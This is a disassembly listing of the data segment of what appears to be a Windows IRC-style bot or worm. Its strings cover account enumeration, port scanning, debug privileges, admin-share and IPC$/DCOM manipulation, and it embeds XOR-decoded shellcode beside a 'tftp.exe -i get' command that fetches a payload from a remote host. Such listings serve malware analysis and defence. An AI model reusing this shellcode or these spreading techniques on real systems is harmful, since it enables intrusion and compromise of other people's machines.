dword_42C8EC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E747+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42C92C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E747+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 10h
dword_42C960	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E88D+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40E88D+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40E88D+33Fo
		align 10h
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40E88D+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40E88D+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40E88D+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40E88D+299o
		align 10h
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40E88D+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40E88D+246o
		align 10h
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40E88D+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40E88D+1F3o
		align 10h
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40E88D+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40E88D+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40E88D+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40E88D+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40E88D+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40E88D:loc_40E9A6o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_40E88D:loc_40E99Fo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40E88D+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40E88D+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40E88D+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40E88D+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40EC5B+14Fo
		align 10h
dword_42CB20	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40EC5B+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40EC5B+BEo
		align 4
dword_42CB68	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40EC5B+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40EC5B+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40EDDB:loc_40EEF8o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40EDDB:loc_40EEF1o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40EDDB:loc_40EEEAo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40EDDB:loc_40EEE3o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_40EDDB:loc_40EEDCo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40EDDB:loc_40EEBFo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40EDDB:loc_40EEB8o
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40EDDB:loc_40EEB1o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40EDDB+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40EDDB:loc_40EE86o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40EDDB:loc_40EE7Fo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40EDDB:loc_40EE78o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40EDDB:loc_40EE6Eo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40EDDB+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40EDDB:loc_40EE48o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40EDDB:loc_40EE3Eo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40EDDB:loc_40EE34o
		align 10h
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40EDDB:loc_40EE2Ao
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40EDDB:loc_40EE20o
		align 10h
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40EDDB+3Bo
		align 4
dword_42CE84	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40EF0F+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42CEC0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40EF0F+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_40F038+120o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_40F038+5Ao
					; sub_40F038+19Eo
		align 4
dword_42CF1C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40F1E9:loc_40F270o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_42CF54	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40F1E9+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 10h
dword_42CF90	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40F1E9+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 10h
		dd 0
dword_42CFD4	dd 1		off_42CFD8	dd offset sub_40F32E	; DATA XREF: sub_40F699+49r
aLetter		db 'letter',0
		align 8
		dd 2, 40F38Ch, 706D6F63h, 2 dup(0)
		dd 3, 40F3D9h, 6E756F63h, 797274h, 0
		dd 4, 40F477h, 736Fh, 2	dup(0)
		dd 5, 40F4ECh
dword_42D02C	dd 69257325h, 0						; seg000:0040F458o ...
byte_42D034	db 50h			; DATA XREF: seg000:0040F3FBo
					; seg000:0040F408r
		db 43h,	2 dup(0)
dword_42D038	dd 7C7325h						; sub_40F699+39o
dword_42D03C	dd 5D73255Bh, 7Chdword_42D044	dd 334B32h	dword_42D048	dd 5D64255Bh, 7325hdword_42D050	dd 5D4D5Bh						; sub_40F5F6+57o
unk_42D054	db    2			; DATA XREF: sub_40F702+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_42D090	db    2			; DATA XREF: sub_40F7CF+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_42D0D0	dd offset dword_42D108	; DATA XREF: sub_40F920+1B3o
					; sub_40FC44+17Ao
		dd 0
		dd offset dword_42D100
		align 10h
off_42D0E0	dd offset dword_42D0FC	; DATA XREF: sub_40FC44+1E3o
		dd offset dword_42D0F8
		dd offset dword_42D0F4
		dd offset dword_42D0F0
dword_42D0F0	dd 5C3A44h						; seg002:0042D0ECo
dword_42D0F4	dd 2444h	dword_42D0F8	dd 5C3A43h	dword_42D0FC	dd 2443h	dword_42D100	dd 494D4441h, 244Ehdword_42D108	dd 24435049h, 0	unk_42D110	db    2			; DATA XREF: sub_40F920+2E5o
					; sub_40FC44+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42D154	db    2			; DATA XREF: sub_40F920+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 10h
unk_42D190	db    2			; DATA XREF: sub_40F920:loc_40FB82o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 10h
unk_42D1D0	db    2			; DATA XREF: sub_40F920+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_42D208	db    2			; DATA XREF: sub_40F920:loc_40FAEFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_42D248	db    2			; DATA XREF: sub_40F920+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 10h
unk_42D280	db    2			; DATA XREF: sub_40F920:loc_40FA52o
					; sub_40FC44:loc_40FD72o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42D2C4	db    2			; DATA XREF: sub_40F920:loc_40FA4Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_42D314	db    2			; DATA XREF: sub_40F920:loc_40FA2Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_42D35C	db    2			; DATA XREF: sub_40F920+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_40F920+EDo
					; sub_40FC44+EDo
		align 10h
unk_42D3C0	db    2			; DATA XREF: sub_40F920+91o
					; sub_40FC44+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_42D404	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_40F920:loc_40F98Do
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_42D434	db    2			; DATA XREF: sub_40F920+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_40F920+54o
					; sub_40FC44+54o
		align 4
word_42D478	dw 4Eh			; DATA XREF: sub_40F920+38r
		align 4
unk_42D47C	db    2			; DATA XREF: sub_40FC44+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_0		db '%c:\',0             ; DATA XREF: sub_40FC44+22Ao
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_40FC44+219o
unk_42D4C0	db    2			; DATA XREF: sub_40FC44:loc_40FDE3o
					; sub_40FC44:loc_40FEB1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_42D4FC	db    2			; DATA XREF: sub_40FC44+198o
					; sub_40FC44+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_42D530	db    2			; DATA XREF: sub_40FC44:loc_40FD6Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 10h
unk_42D580	db    2			; DATA XREF: sub_40FC44:loc_40FD4Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_42D5C8	db    2			; DATA XREF: sub_40FC44+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_42D618	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_40FC44:loc_40FCB1o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_42D648	db    2			; DATA XREF: sub_40FC44+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 10h
word_42D680	dw 59h			; DATA XREF: sub_40FC44+38r
		align 4
		jmp	short loc_42D688
; ---------------------------------------------------------------------------


loc_42D686:				; CODE XREF: seg002:loc_42D688p
		jmp	short loc_42D68D
; ---------------------------------------------------------------------------


loc_42D688:				; CODE XREF: seg002:0042D684j
		call	loc_42D686


loc_42D68D:				; CODE XREF: seg002:loc_42D686j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_42D694:				; CODE XREF: seg002:0042D699j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_42D694
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_42D6AA:				; CODE XREF: seg002:0042D6AFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_42D6AA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_42D74C
		jnz	short loc_42D738
		retn
; ---------------------------------------------------------------------------


loc_42D738:				; CODE XREF: seg002:0042D735j
					; seg002:0042D745j
		call	loc_42D73E
; ---------------------------------------------------------------------------
		align 2


loc_42D73E:				; CODE XREF: seg002:loc_42D738j
		push	0
		call	sub_42D74C
		jz	loc_42D738
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42D74C	proc near		; CODE XREF: seg002:0042D730p
					; seg002:0042D740p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_42D74C	endp

; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_4101E9+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4101E9+35o
		align 10h
dword_42D7D0	dd 1				align 10h
dword_42D7E0	dd 173Fh			dd 9875h, 9873h
		dd offset sub_410C5D
		dd offset nullsub_2
		dd offset nullsub_2
dword_42D7F8	dd 1B3Fh	dword_42D7FC	dd 19930520h, 4	dup(0)					; sub_411162+2o
off_42D810	dd offset sub_412568	; DATA XREF: sub_412A6E+1Cr
dword_42D814	dd 2							; sub_417BBD+46r ...
off_42D818	dd offset aNull_0	; DATA XREF: sub_412BCC:loc_412F30r
					; sub_412BCC+457r
					; "(null)"
off_42D81C	dd offset aNull		; DATA XREF: sub_412BCC+259r
					; "(null)"
off_42D820	dd offset word_42D82A	; DATA XREF: sub_410904+23r
					; sub_410904:loc_410965r ...
		dd offset word_42D82A
		db 2 dup(0)
word_42D82A	dw 20h			; DATA XREF: sub_419510+18r
					; seg002:off_42D820o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_42DA2C	dd 1							; sub_410904:loc_410950r ...
byte_42DA30	db 2Eh			; DATA XREF: sub_4148FB:loc_41493Br
					; seg000:00414959r ...
		align 4
		dd 1, 10h
dword_42DA3C	dd 3F8h							; sub_41230F+4Dr ...
dword_42DA40	dd 14h		off_42DA44	dd offset aExp		; DATA XREF: sub_414644:loc_414661r
					; "exp"
		dd 1Dh,	41C79Ch, 1Ah, 41C798h, 1Bh, 41C790h, 1Fh, 41C788h
		dd 13h,	41C780h, 21h, 41C778h, 0Eh, 41C770h, 0Dh, 41C768h
		dd 0Fh,	41C760h, 10h, 41C758h, 5, 41C750h, 1Eh,	41C74Ch
		dd 12h,	41C748h, 20h, 41C744h, 0Ch, 41C73Ch, 0Bh, 41C734h
		dd 15h,	41C72Ch, 1Ch, 41C724h, 19h, 41C71Ch, 11h, 41C714h
		dd 18h,	41C70Ch, 16h, 41C704h, 17h, 41C6FCh, 22h, 41C6F8h
		dd 23h,	41C6F4h, 24h, 41C6F0h
dbl_42DB18	dq 1.797693134862316e308 ; DATA	XREF: sub_41437F+B7r
					; sub_41437F:loc_414466r ...
		dd 0
		dd 0FFF80000h
dbl_42DB28	dq 1.797693134862316e308 ; DATA	XREF: sub_41437F+92r
					; sub_41437F:loc_41443Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_42DB40	dt 2.3562723457267347066e313 ; DATA XREF: sub_41482C+Dr
					; sub_41482C+1Fr
		align 4
tbyte_42DB4C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41482C+31r
		align 4
off_42DB58	dd offset sub_418877	; DATA XREF: sub_410C75+Fw
					; sub_412BCC+3AAr
off_42DB5C	dd offset sub_418877	; DATA XREF: sub_410C75+5w
					; sub_412BCC+3E2r
off_42DB60	dd offset sub_418877	; DATA XREF: sub_410C75+14w
					; sub_41571D+430r
off_42DB64	dd offset sub_418877	; DATA XREF: sub_410C75+1Ew
					; sub_412BCC+3CBr
off_42DB68	dd offset sub_418877	; DATA XREF: sub_410C75+28w
off_42DB6C	dd offset sub_418877	; DATA XREF: sub_410C75+32w
		dd offset sub_418880
		align 10h
		dd offset sub_41557C
off_42DB84	dd offset sub_41557C	; DATA XREF: sub_4155D2+29r
dword_42DB88	dd 0D2D0920h, 5Dhdword_42DB90	dd 5Dh,	0	byte_42DB98	db 1			; DATA XREF: seg000:00416E29r
		db 2, 4, 8
		align 10h
dword_42DBA0	dd 3A4h		dword_42DBA4	dd 82798260h, 21h, 0dword_42DBB0	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_42DC90	dd 1							; sub_4171B2+Co
dword_42DC94	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_42DDF8	dd 0C0000005h						; sub_417424+Ar ...
dword_42DDFC	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_42DE70	dd 3							; sub_419FA4+C8r
dword_42DE74	dd 7							; sub_419FA4+CDr
dword_42DE78	dd 0Ah							; sub_41A0D1+4r
dword_42DE7C	dd 8Ch							; seg000:00417372w ...
dword_42DE80	dd 0FFFFFFFFh, 0A00h					; sub_41647B:loc_4164FCo
dword_42DE88	dd 2							; sub_417BBD+28r
off_42DE8C	dd offset aR6002FloatingP ; DATA XREF: sub_417BBD+FCr
					; sub_417BBD+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41CABCh, 9, 41CA90h, 0Ah,	41CA6Ch, 10h, 41CA40h
		dd 11h,	41CA10h, 12h, 41C9ECh, 13h, 41C9C0h, 18h, 41C988h
		dd 19h,	41C960h, 1Ah, 41C928h, 1Bh, 41C8F0h, 1Ch, 41C8C8h
		dd 78h,	41C8B8h, 79h, 41C8A8h, 7Ah, 41C898h, 0FCh, 41E950h
		dd 0FFh, 41C888h
off_42DF18	dd offset dword_45EE20	; DATA XREF: sub_417BBD+1Bo
					; sub_417F27+55o
		align 10h
		dd offset dword_45EE20
